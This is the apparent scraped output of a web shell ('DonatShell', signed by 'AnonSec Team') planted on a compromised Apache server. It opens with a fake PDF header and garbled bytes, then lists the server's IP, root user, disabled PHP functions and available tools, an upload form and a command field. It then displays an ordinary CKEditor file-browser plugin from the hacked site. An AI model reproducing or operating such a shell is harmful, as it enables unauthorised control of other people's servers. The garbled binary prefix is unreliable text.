%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/11584/root/var/www/html/old/plugins/editors/jckeditor/plugins/autolaunchfilebrowser/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/11584/root/var/www/html/old/plugins/editors/jckeditor/plugins/autolaunchfilebrowser/plugin.js
(function () {


    var fileButtonCount = 0;


    function checkDialog(editor, dialogName, definition, elements) {
        var element;

        for (var i in elements) {
            element = elements[i];


            if (dialogName == 'filebrowser')
                continue;

            if (typeof element == 'function' || element == null || element.type == 'undefined' || element.type == null)
                continue;

            if (element.type && (element.type == 'hbox' || element.type == 'vbox'))
                checkDialog(editor, dialogName, definition, element.children);

            if (!element.filebrowser)
                continue;


            if (typeof element.filebrowser == 'string')
                return; // filebrowser has been disbaled

            if (element.filebrowser.action == 'Browse') {
                fileButtonCount++
            }
        }
    }


    CKEDITOR.plugins.add('autolaunchfilebrowser',
	 {
	     init: function (editor) {
	         var pluginPath = this.path;

	         CKEDITOR.on('instanceReady', function (evt) {
	             var editor = evt.editor;

	             CKEDITOR.on('dialogDefinition', function (evt) {
	                 var dialogName = evt.data.name;

	                 fileButtonCount = 0;

	                 checkDialog(evt.editor, evt.data.name, evt.data.definition, evt.data.definition.contents[0].elements);


	                 var dialogAutolaunchFilebrowser = evt.data.name + 'AutolaunchFilebrowser';

	                 editor.on('dialogShow', function (evt) {
	                     var dialog = evt.data;


	                     if (dialogAutolaunchFilebrowser in editor.config && editor.config[dialogAutolaunchFilebrowser] || !(dialogAutolaunchFilebrowser in editor.config) && editor.config.autolaunchFilebrowser) {
	                         var count = fileButtonCount;

	                         if (count > 1)
	                             return;

	                         if (dialog._.name == 'filebrowser')
	                             return;


	                         if (dialog._.name != dialogName)
	                             return;

	                         var filebutton = dialog.getContentElement(dialog._.tabIdList[0], 'browse');

	                         if (!filebutton)
	                             return;
	                         var targetInfo = filebutton.filebrowser.target.split(':');

	                         var target = dialog.getContentElement(dialog._.tabIdList[0], targetInfo[1]);
	                         if (target && target.getValue())
	                             return;
	                         filebutton.fire('click');
	                     }
	                 });

	             });

	         });
	     }
	 });

})();

Anon7 - 2022
AnonSec Team